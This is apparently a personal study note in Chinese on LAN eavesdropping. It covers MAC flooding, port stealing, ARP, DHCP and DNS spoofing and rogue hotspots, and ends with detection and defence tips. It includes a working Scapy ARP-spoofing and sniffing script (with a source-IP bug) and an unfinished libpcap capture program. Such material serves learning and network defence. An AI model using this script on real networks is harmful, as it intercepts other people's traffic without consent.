小白网管进修笔记——网络监听

一、网络流量劫持
　　1、网络环境：共享式、交换式
　　　　1）集线器：把某接口的收包转发到所有接口；网卡如果非混杂，就不会丢弃此包。wifi也是如此。此为共享式网络
　　　　2）交换式～网络流量窃取：网络监听、DHCP欺骗、DNS劫持、wifi流量劫持
　　　　　　二层交换机：交换发生在数据链路层～MAC地址表
　　　　　　三层交换机：交换发生在网络层～IP地址表
　　　　　　网管：端口镜像；捣蛋娃：MAC攻击、端口盗用、ARP欺骗
　　　　3）MAC攻击：
　　　　　　MAC地址表建立（自学习）转发过程：第一次接收，获取源MAC——》再接收，查MAC表转发——》如有，单端口转发/如无，泛洪
　　　　　　搞事方法：持续发送大量随机源MAC～MAC冲刷，引发泛洪
　　　　　　网管应对：监控MAC表，或者静态MAC表
　　　　4）端口盗用：
　　　　　　发包混淆MAC表，使被监听对象的MAC绑定到监听者所在端口（被监听者会不会感知？）
　　　　　　为了还包给被监听者，监听者先存起来，定期更正MAC表恢复正常转发同时还包（嗯，被监听者可能会有所感知）
　　　　5）ARP欺骗：
　　　　　　网络层——》数据链路层：ARP（Address Resolution Protocol）协议(IP——》MAC)
　　　　　　发包前，检查ARP高速缓存，如无，广播ARP请求（目的MAC填充00.00.00.00.00.00），然后等等同样形式的ARP响应包
　　　　　　！！！主机接收到ARP数据包、不经认证直接写入自身ARP高速缓存——ARP欺骗基于此，引发ARP缓存中毒（Cache Poisoning）
　　　　　　基于ARP请求的欺骗（伪造、广播，会引起被冒名主机提示IP地址冲突）
　　　　　　基于ARP响应的欺骗（利用主机不记录发送ARP请求的弱点，在想实施动作时发送响应。对方不会有告警、网内其它主机不受干扰）
　　　　　　后者，可查看arpspoof.py，使用前，确定目标和网关，开启对网关和目标的流量转发：
　　　　　　echo 1 > /proc/sys/net/ipv4/ip_forward
　　　　　　然后开始对目标ARP欺骗

########################
##     arpspoof.py    ##
##       arp欺骗       ##
########################

from scapy.all import *
import os
import sys
import threading

interface = "eth0"   # 你将要用的网卡设备名称
target_ip = "192.168.1.2"　　# 局域网内你的目标
gateway_ip = "192.168.1.1"　　# 网关……
packet_count = 1000
spoofing = True

def get_mac(ip_address):
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst = ip_address), timeout = 2, retry = 10)
    for s,r in responses:
        return r[Ether].src
    return None

def spoof_target(gateway_ip, gateway_mac, target_ip, target_mac):
    global spoofing
    
    spoof_target = ARP()
    spoof_target.op = 2
    spoof_target.psrc = gateway_ip
    spoof_target.pdst = target_ip
    spoof_target.hwdst = target_mac
    
    spoof_gateway = ARP()
    spoof_gateway.op = 2
    spoof_gateway.psrc = gateway_ip
    spoof_gateway.pdst = target_ip
    spoof_gateway.hwdst = target_mac
    
    print("[ + ] Beginning the ARP spoof. [ CTRL + C to stop]")
    while spoofing:
        send(spoof_target)
        send(spoof_gateway)
        time.sleep(2)
    print("[ * ] ARP spoof attack finisted.")
    return

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    print("[ * ] Restoring Target ... ")
    send(ARP(op = 2, psrc = gateway_ip, pdst = target_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gateway_mac), count = 5)
    send(ARP(op = 2, psrc = target_ip, pdst = gateway_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = target_mac), count = 5)

def arp_spoof():
    conf.iface = interface
    conf.verb = 0
    
    print("[ + ] Setting up %s " % interface)
    
    # 获取网关的MAC
    gateway_mac = get_mac(gateway_ip)
    if gateway_mac is None:
        print("[ - ] Failed to get gateway MAC. Exiting.")
        sys.exit(0)
    else:
        print("[ + ] Gateway %s is at %s " %(gateway_ip, gateway_mac))
        
    # 获取目标的MAC
    target_mac = get_mac(target_ip)
    if target_mac is None:
        print("[ - ] Failed to get target MAC. Exiting.")
        sys.exit(0)
    else:
        print("[ + ] Target %s is at %s " %(target_ip, target_mac))
    
    # 启动ARP欺骗
    print("[ + ] Start spoof thread.")
    spoof_thread = threading.Thread(target = spoof_target, args = (gateway_ip, gateway_mac, target_ip, target_mac))
    spoof_thread.start()
    
    # 抓取目标流量
    try:
        print("[ + ] Starting sniffer for %d packets" % packet_count)
        bpf_filter = "ip host %s" % target_ip
        packets = sniff( count = packet_count, filter = bpf_filter, iface = interface)
    except KeyboardInterrupt:
        pass
    finally:
        print("[ + ] Writing packets to arpspoof.pcap")
        wrpcap('arpsoof.pcap',packets)
        spoofing = False
        time.sleep(2)
        # 还原网络配置
        restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
        sys.exit(0)

if __name__ == '__main__':
    arp_spoof()

　　　　　　利用ARP响应欺骗，好像主机如果记录常用的MAC，会被发现吧？（这可以作为监测手段，如果想省事，直接静态ARP吧）

　　　　6）DHCP欺骗：
　　　　　　DHCP：C/S模式，基于UDP，UDP67、UDP68分别是S端和C端的服务端口，UDP546则是v6版本的C端的端口，也是DHCP服务器的failover的双机热备特殊端口。S端侦听来自C端请求，然后一系列协商后才分发相关地址配置信息。

　　　　　　三种分配方式：automatic / dynamic / manual allocation

　　　　　　注意：DHCP请求都是广播的（DHCP Discover），然后所有S都给出DHCP Offer报文，无特殊option外，C将优先处理最先回应，然后把选中的S和选中的IP随DHCP Request再次广播，如果S端确认地址可用，将向C发送DHCP ACK前明确IP和租期。C如确认可用，则自动启动续延；如发现此IP已在用，则向S发DHCP Decline通知禁止分发此IP，并重新开始新的申请过程。在使用过程中，C可以发送DHCP Release释放自己的IP。

　　　　　　小动作：同一冲突域内，伪装目标MAC并发起Release，然后将自身作为DHCP Server、网关、DNS提供给目标，以劫持目标的网络数据包。而在不同冲突域下，则会存在DHCP Agent / Proxy，负责中转DHCP请求与回应，因此还可以控制住DHCP Agent，实现更大范围的监听。

　　　　7）DNS劫持：

　　　　　　DNS，联机分布式数据库系统，C/S模式。本地应用将待转换域名放入DNS请求，以UDP提交给本地DNS，如有记录，返回应答及IP，如无，则访问远端DNS；如有则返回，如无，远端DNS将作为C端再去访问另一个远端DNS，直到有记录或者范围内DNS都找不到记录。

　　　　　　上述过程中，存在高速缓存Cache，DNS侧也存在授权管理域名及非授权绑定。存在高效与准确性的矛盾。

　　　　　　那么，如果拿下了DNS，并且把目标流量指向自身，同时自身开启HTTP代理保证正常通信，就可以获取所有的访问流量。或者拿到域名管理密码和邮箱并添加相应域名解析记录（想想就难搞）。

　　　　　　或者，DNS缓存投毒——控制DNS缓存服务器，相对难度低一点点，或者搞目标主机的本地缓存（一大波广告来袭……-_-  _oloo）。好吧，相信亲爱的运营商的技术水平，他们的DNS不会挂掉，同时把本地的呃，我自己就是哦，不能自黑

　　　　8）Wifi流量劫持：

　　　　　　一是爆破无线路由的管理；二是自身开热点钓鱼（开同名热点，并保证RSSI-信号强度比原配高一点）。人在外地，还是自己开热点自己用，限死IP和MAC吧。钓得鱼多终葬鱼腹……

二、采集与分析、解密

　　1、网卡——网络接口卡Network Interface Card（6个字节的MAC，负责数据帧封装解封装转发）。正常情况下，接到数据帧，如目的MAC是自己则中断并交系统处理，如不是则丢弃；有个特殊模式：混杂模式——Promiscuous：在接收帧时，不检查帧头，一律硬件中断并交系统处理，作为网络监听的前提条件。

　　2、还没调好的参考书代码：

//***********************************
//    过滤特定字符串的小程序
//***********************************
#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>


//当pcap_loop()收到分组时，打印收到的分组序号，暂未进行分析
void my_callback(u_char *useless,const struct pcap_pkthdr* pkthdr,const u_char* packet)
{
	static int count=1;
	fprintf(stdout,"%d, \n",count);
	int k=0;
	int len;
	len=strlen(packet);
	for(k=0;k<len;k++)
		printf("%02X",packet[k]);
	//奇葩了，输出竟然全部是我光猫的MAC
	printf("\n");
	fflush(stdout);
	count++;
}

int main(int argc,char **argv)
{
	int i;
	char *dev;
	char errbuf[PCAP_ERRBUF_SIZE];
	pcap_t* descr;
	const u_char *packet;
	struct pcap_pkthdr hdr;
	struct ether_header *eptr;
	struct bpf_program fp;
	bpf_u_int32 maskp;
	bpf_u_int32 netp;
	
	if(argc!=2)
	{
		fprintf(stdout,"Usage: %s \" filter program \" \n",argv[0]);
		return 0;
	}
	dev=pcap_lookupdev(errbuf);
	if(dev==NULL)
	{
		fprintf(stderr,"%s\n",errbuf);
		exit(1);
	}
	
	//get IP and MASK
	pcap_lookupnet(dev,&netp,&maskp,errbuf);
	//turn to Promiscuous Mode
	descr=pcap_open_live(dev,BUFSIZ,1,-1,errbuf);
	if(descr==NULL)
	{
		printf("pcap_open_live():%s\n",errbuf);
		exit(1);
	}
	//将指定待过滤字符串编译成程序
	if(pcap_compile(descr,&fp,argv[1],0,netp)==-1)
	{
		fprintf(stderr,"Error calling pcap_compile\n");
		exit(1);
	}
	//将上述程序指定为过滤程序
	if(pcap_setfilter(descr,&fp)==-1)
	{
		fprintf(stderr,"Error setting filter\n");
		exit(1);
	}
	//循环捕获满足条件的分组
	pcap_loop(descr,-1,my_callback,NULL);
	
	return 0;
}

　　哦哦，用法啊，参考一下这篇文章https://blog.csdn.net/a1009563517/article/details/47311813

　　比如我生成一个a.out，那么过滤的是带各种各样修饰符的字符串了，e.g../a.out "src 192.168.1.58"

　　然后一些数据封装和解析就不多写了，还有sniffer和wireshark这些常用的也不了。哦，书中还安利了Cain，省了自己敲ARP欺骗、嗅探等，都是有界面的，随便玩玩。

三、监听的检测防范

　　1、被动监听不易察觉，不过对方网卡是混杂模式，可以通过构造目的MAC随机的可疑主机IP为目的IP的ping包，诱导回应。

　　2、随机发送大量目的MAC不存在的垃圾数据包，在保证带宽的情况下，测试到可疑主机的ping包响应速度，看看有无明显变慢。（个人感觉，针对第1、2点，最好在入网时就记录好存活主机MAC，然后针对性去监听，而丢弃随机的不在记录的源MAC的包）

　　3、单播发出ARP，看看有无回应，对比对方的MAC和回包MAC。（呃，那我们在ARP欺骗的时候，是不是要过滤掉单播的ARP呢？）

　　4、针对不存在的IP发Ping包，看看有没有主机对这些IP进行DNS反向查询。

　　网管侧：

　　1、冲突域细分（如此，只有远程控制某台冲突域内的设备，再去进行监听了）

　　2、交换机端口IP或MAC绑定；设定端口学习阈值，避免大量填入。

　　3、通信加密

最后，还得吐槽一下，便利与安全越发地矛盾啊！！！